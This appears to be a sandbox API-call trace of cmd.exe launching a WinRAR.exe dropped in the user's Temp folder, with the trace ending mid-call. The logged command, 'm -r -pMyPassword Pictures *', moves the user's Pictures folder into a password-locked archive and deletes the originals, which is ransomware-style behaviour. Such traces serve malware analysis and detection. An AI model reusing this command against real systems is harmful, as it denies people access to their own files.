[0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x40, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.231] RegCloseKey (hKey=0x68) returned 0x0 [0046.231] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e878 | out: phkResult=0x28e878*=0x68) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x40, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x1, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x1, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x0, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.232] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x9, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.232] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x9, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.232] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x9, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.232] RegCloseKey (hKey=0x68) returned 0x0 [0046.232] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca34fbf [0046.232] srand (_Seed=0x5ca34fbf) [0046.232] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Pictures && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0046.232] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Pictures && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0046.232] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.232] GetProcessHeap () returned 0x510000 [0046.232] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x522178 [0046.232] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x522180, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.232] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0046.232] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.232] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.232] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.232] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.232] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.232] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.232] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.232] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.232] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.232] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.232] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.232] GetProcessHeap () returned 0x510000 [0046.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x522c30 | out: hHeap=0x510000) returned 1 [0046.232] GetEnvironmentStringsW () returned 0x522390* [0046.232] GetProcessHeap () returned 0x510000 [0046.232] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xac4) returned 0x524c70 [0046.233] FreeEnvironmentStringsW (penv=0x522390) returned 1 [0046.233] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.233] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.233] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.233] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.233] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.233] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.233] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.233] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.233] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.233] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.233] GetProcessHeap () returned 0x510000 [0046.233] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x521ff8 [0046.233] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f644 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.233] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x104, lpBuffer=0x28f644, lpFilePart=0x28f640 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x28f640*="Desktop") returned 0x19 [0046.233] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.233] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f3c0 | out: lpFindFileData=0x28f3c0) returned 0x525740 [0046.233] FindClose (in: hFindFile=0x525740 | out: hFindFile=0x525740) returned 1 [0046.233] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x28f3c0 | out: lpFindFileData=0x28f3c0) returned 0x525740 [0046.233] FindClose (in: hFindFile=0x525740 | out: hFindFile=0x525740) returned 1 [0046.233] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", lpFindFileData=0x28f3c0 | out: lpFindFileData=0x28f3c0) returned 0x525740 [0046.234] FindClose (in: hFindFile=0x525740 | out: hFindFile=0x525740) returned 1 [0046.234] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.234] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0046.234] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Desktop") returned 1 [0046.234] GetProcessHeap () returned 0x510000 [0046.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524c70 | out: hHeap=0x510000) returned 1 [0046.234] GetEnvironmentStringsW () returned 0x5241a0* [0046.234] GetProcessHeap () returned 0x510000 [0046.234] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb00) returned 0x525f80 [0046.234] FreeEnvironmentStringsW (penv=0x5241a0) returned 1 [0046.234] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.234] GetProcessHeap () returned 0x510000 [0046.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x521ff8 | out: hHeap=0x510000) returned 1 [0046.234] GetProcessHeap () returned 0x510000 [0046.234] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400e) returned 0x526a88 [0046.234] GetProcessHeap () returned 0x510000 [0046.234] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xea) returned 0x522e98 [0046.234] GetProcessHeap () returned 0x510000 [0046.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a88 | out: hHeap=0x510000) returned 1 [0046.234] GetConsoleOutputCP () returned 0x1b5 [0046.239] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.239] GetUserDefaultLCID () returned 0x409 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a764950, cchData=8 | out: lpLCData=":") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f784, cchData=128 | out: lpLCData="0") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f784, cchData=128 | out: lpLCData="0") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f784, cchData=128 | out: lpLCData="1") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a764940, cchData=8 | out: lpLCData="/") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a764d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a764d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a764d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a764cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a764c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a764c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a764c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a764930, cchData=8 | out: lpLCData=".") returned 2 [0046.240] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a764920, cchData=8 | out: lpLCData=",") returned 2 [0046.240] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.241] GetProcessHeap () returned 0x510000 [0046.241] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20c) returned 0x522f90 [0046.241] GetConsoleTitleW (in: lpConsoleTitle=0x522f90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.241] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.242] GetProcAddress (hModule=0x769a0000, lpProcName="CopyFileExW") returned 0x769d3b92 [0046.242] GetProcAddress (hModule=0x769a0000, lpProcName="IsDebuggerPresent") returned 0x769b4a5d [0046.242] GetProcAddress (hModule=0x769a0000, lpProcName="SetConsoleInputExeNameW") returned 0x769ca79d [0046.242] GetProcessHeap () returned 0x510000 [0046.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400a) returned 0x526a88 [0046.242] GetProcessHeap () returned 0x510000 [0046.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a88 | out: hHeap=0x510000) returned 1 [0046.242] _wcsicmp (_String1="cd", _String2=")") returned 58 [0046.242] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0046.242] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0046.242] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0046.242] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0046.242] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0046.242] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0046.242] GetProcessHeap () returned 0x510000 [0046.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5231a8 [0046.242] GetProcessHeap () returned 0x510000 [0046.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x520058 [0046.243] GetProcessHeap () returned 0x510000 [0046.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x42) returned 0x523208 [0046.243] GetProcessHeap () returned 0x510000 [0046.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x523258 [0046.245] _wcsicmp (_String1="FOR", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.245] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.246] _wcsicmp (_String1="IF", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.246] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.246] _wcsicmp (_String1="REM", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.246] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.246] GetProcessHeap () returned 0x510000 [0046.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5232b8 [0046.246] GetProcessHeap () returned 0x510000 [0046.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6a) returned 0x523318 [0046.246] GetProcessHeap () returned 0x510000 [0046.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x44) returned 0x523390 [0046.247] GetConsoleTitleW (in: lpConsoleTitle=0x28f418, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.305] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0046.305] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0046.305] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0046.305] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0046.305] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0046.305] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0046.305] GetProcessHeap () returned 0x510000 [0046.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x5233e0 [0046.306] GetProcessHeap () returned 0x510000 [0046.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5233e0, Size=0x40) returned 0x5233e0 [0046.306] GetProcessHeap () returned 0x510000 [0046.306] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5233e0) returned 0x40 [0046.306] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.306] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.307] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x28f1d4, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x28f1cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x28f1cc*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.307] GetProcessHeap () returned 0x510000 [0046.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x523428 [0046.307] GetProcessHeap () returned 0x510000 [0046.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x523478 [0046.308] GetProcessHeap () returned 0x510000 [0046.308] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x523478, Size=0x42) returned 0x523478 [0046.308] GetProcessHeap () returned 0x510000 [0046.308] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x523478) returned 0x42 [0046.308] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0046.308] GetProcessHeap () returned 0x510000 [0046.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x5234c8 [0046.308] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28ef78 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.308] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x104, lpBuffer=0x28ef78, lpFilePart=0x28ef74 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x28ef74*="Pictures") returned 0x1a [0046.308] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Pictures" (normalized: "c:\\users\\whuoxysd\\pictures")) returned 0x11 [0046.308] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28ecf4 | out: lpFindFileData=0x28ecf4) returned 0x523510 [0046.308] FindClose (in: hFindFile=0x523510 | out: hFindFile=0x523510) returned 1 [0046.309] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x28ecf4 | out: lpFindFileData=0x28ecf4) returned 0x523510 [0046.309] FindClose (in: hFindFile=0x523510 | out: hFindFile=0x523510) returned 1 [0046.309] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", lpFindFileData=0x28ecf4 | out: lpFindFileData=0x28ecf4) returned 0x523510 [0046.309] FindClose (in: hFindFile=0x523510 | out: hFindFile=0x523510) returned 1 [0046.309] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Pictures" (normalized: "c:\\users\\whuoxysd\\pictures")) returned 0x11 [0046.309] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Pictures" (normalized: "c:\\users\\whuoxysd\\pictures")) returned 1 [0046.309] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Pictures") returned 1 [0046.309] GetProcessHeap () returned 0x510000 [0046.309] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525f80 | out: hHeap=0x510000) returned 1 [0046.309] GetEnvironmentStringsW () returned 0x525f80* [0046.309] GetProcessHeap () returned 0x510000 [0046.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb02) returned 0x526a90 [0046.309] FreeEnvironmentStringsW (penv=0x525f80) returned 1 [0046.309] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0046.309] GetProcessHeap () returned 0x510000 [0046.309] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5234c8 | out: hHeap=0x510000) returned 1 [0046.309] GetConsoleTitleW (in: lpConsoleTitle=0x28f418, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.309] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.309] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.309] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x28f1d4, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x28f1cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x28f1cc*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x5234c8 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xa6) returned 0x5107f0 [0046.310] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x510c28 [0046.310] SetErrorMode (uMode=0x0) returned 0x0 [0046.310] SetErrorMode (uMode=0x1) returned 0x0 [0046.310] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.", nBufferLength=0x208, lpBuffer=0x510c30, lpFilePart=0x28ef38 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp", lpFilePart=0x28ef38*="Temp") returned 0x24 [0046.310] SetErrorMode (uMode=0x0) returned 0x1 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x510c28, Size=0x68) returned 0x510c28 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x510c28) returned 0x68 [0046.310] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.") returned 1 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5108a0 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xa4) returned 0x510900 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x510900, Size=0x58) returned 0x510900 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x510900) returned 0x58 [0046.310] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.310] GetProcessHeap () returned 0x510000 [0046.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe0) returned 0x512718 [0046.312] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x512718, Size=0x76) returned 0x512718 [0046.312] GetProcessHeap () returned 0x510000 [0046.312] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x512718) returned 0x76 [0046.312] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.312] FindFirstFileExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x28ecd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ecd4) returned 0x510960 [0046.312] GetProcessHeap () returned 0x510000 [0046.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5109a0 [0046.312] FindClose (in: hFindFile=0x510960 | out: hFindFile=0x510960) returned 1 [0046.312] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0046.312] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0046.312] GetConsoleTitleW (in: lpConsoleTitle=0x28f1ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.313] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f034, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f0fc | out: lpAttributeList=0x28f034, lpSize=0x28f0fc) returned 1 [0046.313] UpdateProcThreadAttribute (in: lpAttributeList=0x28f034, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f0f4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f034, lpPreviousValue=0x0) returned 1 [0046.313] GetStartupInfoW (in: lpStartupInfo=0x28eff0 | out: lpStartupInfo=0x28eff0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.313] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.314] CreateProcessW (in: lpApplicationName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\WhuOXYsD\\Pictures", lpStartupInfo=0x28f090*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f0dc | out: lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpProcessInformation=0x28f0dc*(hProcess=0x78, hThread=0x1c, dwProcessId=0x6ac, dwThreadId=0xa10)) returned 1 [0046.371] CloseHandle (hObject=0x1c) returned 1 [0046.372] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0046.372] GetProcessHeap () returned 0x510000 [0046.372] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a90 | out: hHeap=0x510000) returned 1 [0046.372] GetEnvironmentStringsW () returned 0x525f80* [0046.372] GetProcessHeap () returned 0x510000 [0046.372] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb02) returned 0x526a90 [0046.372] FreeEnvironmentStringsW (penv=0x525f80) returned 1 [0046.372] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0067.735] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x28efd0 | out: lpExitCode=0x28efd0*=0x0) returned 1 [0067.735] CloseHandle (hObject=0x78) returned 1 [0067.735] _vsnwprintf (in: _Buffer=0x28f118, _BufferCount=0x13, _Format="%08X", _ArgList=0x28efdc | out: _Buffer="00000000") returned 8 [0067.735] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0067.735] GetProcessHeap () returned 0x510000 [0067.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526a90 | out: hHeap=0x510000) returned 1 [0067.735] GetEnvironmentStringsW () returned 0x5241a0* [0067.735] GetProcessHeap () returned 0x510000 [0067.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb28) returned 0x525f80 [0067.736] FreeEnvironmentStringsW (penv=0x5241a0) returned 1 [0067.736] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.736] GetProcessHeap () returned 0x510000 [0067.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525f80 | out: hHeap=0x510000) returned 1 [0067.736] GetEnvironmentStringsW () returned 0x5241a0* [0067.736] GetProcessHeap () returned 0x510000 [0067.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, 